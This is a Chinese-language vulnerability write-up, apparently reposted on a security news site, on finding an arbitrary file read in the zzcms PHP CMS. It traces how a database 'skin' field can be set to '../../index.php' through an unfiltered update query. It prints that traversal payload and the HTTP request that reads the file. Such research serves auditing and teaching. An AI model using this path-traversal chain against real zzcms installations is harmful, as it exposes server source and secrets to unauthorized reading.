从 sql 语句的控制到任意文件读取挖掘思路

admin 2025年2月28日23:52:40评论15 views字数 2037阅读6分47秒阅读模式

环境搭建

下载 zzcms 的源码

https://www.zzcms.net/

然后 phpstduy 一把搭建就 ok

搭建成功如下

从 sql 语句的控制到任意文件读取挖掘思路

然后记得创建数据库然后导入给的 sql 文件就好了

漏洞点寻找

这里我使用的是 Seay 源代码审计系统

主要直接匹配 sink 点,方便我们审计

从 sql 语句的控制到任意文件读取挖掘思路

虽然误报非常非常多,因为它是基于 sink 点的正则匹配

然后看到任意文件读取的地方

我们来到代码

从 sql 语句的控制到任意文件读取挖掘思路

然后我们现在需要做的就是$fp 参数是否可以控制,而且可以看到前面是加了

$fp=zzcmsroot."template/".$siteskin."/".$tpl;

所以如果需要实现任意文件的读取的话我们还需要完成目录穿越

我们现在像上寻找

从 sql 语句的控制到任意文件读取挖掘思路

太多了我去

但是也很好解决,因为仔细看了有很明显的

从 sql 语句的控制到任意文件读取挖掘思路

可以看到的是我们需要参数可以控制,所以很容易排除了那些固定参数

这里找到 one/siteinfo.php 文件

从 sql 语句的控制到任意文件读取挖掘思路

然后我们还是需要追踪

首先

$skin=$row["skin"];if ($skin==''){$skin='siteinfo.htm';}

我们的 $skin 肯定不能为空,而它的值是取决于 row

$rs=query("Select * From zzcms_about where id='$info_id'" ) ;$row=num_rows($rs);if ($row){$row=fetch_array($rs);$content=stripfxg($row["content"],true);$title=$row["title"];}else{$content="暂无信息";$title="暂无信息";}$skin=$row["skin"];if ($skin==''){$skin='siteinfo.htm';}

其实从这里就能看出来了

这个 row 其实是我们 sql 查询出来的数据集,而从其中取出来的是我们的 skin

我们一路溯源

那么我们需要

Select*From zzcms_about where id='$info_id'"

这里查出来的数据我们是可以控制的

我们先去 mysql 看看

从 sql 语句的控制到任意文件读取挖掘思路

其实这里我思考的是有没有能够控制其他字段的,这里我们需要控制 id,然后 id 能够决定我们带出来的数据,所以问题就是有什么地方能够实现控制 id,控制我们的 skin

然后我就去寻找 sql 语句了

首先需要有字段 skin

从 sql 语句的控制到任意文件读取挖掘思路

然后找了一下,发现相关的 sql 语句就只有两个

分别看看

从 sql 语句的控制到任意文件读取挖掘思路

不行表不一样

从 sql 语句的控制到任意文件读取挖掘思路

还是那个问题

打破思路

然后卡了半天,准备放弃了,然后过了几天再去看的时候发现,两次不能成功都是因为表不一样,那么我尝试全局搜索这个表,看看有没有一样的

从 sql 语句的控制到任意文件读取挖掘思路

不多,一个一个看

从 sql 语句的控制到任意文件读取挖掘思路

还真找到了,但是为什么刚刚全局搜索没有搜索到??

然后观察参数是否可以控制

从 sql 语句的控制到任意文件读取挖掘思路

刚好可以控制,所以我们的思路就来了

第一尝试去传入我们的数据,然后更新到 sql 语句中

漏洞利用

首先访问我们的文件

从 sql 语句的控制到任意文件读取挖掘思路

但是没有东西,不管了,先产传入参数再说

从 sql 语句的控制到任意文件读取挖掘思路

成功走到了这里

sql 语句如下

update zzcms_about set title='',content='',link='',skin='../../index.php',passed=1 whereid='1'

然后直接放入数据库查询了

functionquery($sql){  //执行针对数据库的查询 //echo $sql;global$conn;return mysqli_query($conn,$sql);     }

没有对我们的..过滤

从 sql 语句的控制到任意文件读取挖掘思路

然后我们查看我们的数据库

从 sql 语句的控制到任意文件读取挖掘思路

数据果然被改了

然后就是提取出我们的数据

GET /one/siteinfo.php?id=1 HTTP/1.1Host: zzcms:8786Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.6422.112 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Accept-Encoding: gzip, deflate, brAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=hbh6knfegltaidha9upgu6612i;XDEBUG_SESSION=PHPSTORMConnection: keep-alive
从 sql 语句的控制到任意文件读取挖掘思路

成功的把我们的数据查了出来

从 sql 语句的控制到任意文件读取挖掘思路

从 sql 语句的控制到任意文件读取挖掘思路成功读取到了内容

从 sql 语句的控制到任意文件读取挖掘思路

成功实现了任意文件读取

【来源】:https://xz.aliyun.com/news/16834

原文始发于微信公众号(船山信安):从 sql 语句的控制到任意文件读取挖掘思路

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年2月28日23:52:40
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   从 sql 语句的控制到任意文件读取挖掘思路https://cn-sec.com/archives/3779347.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息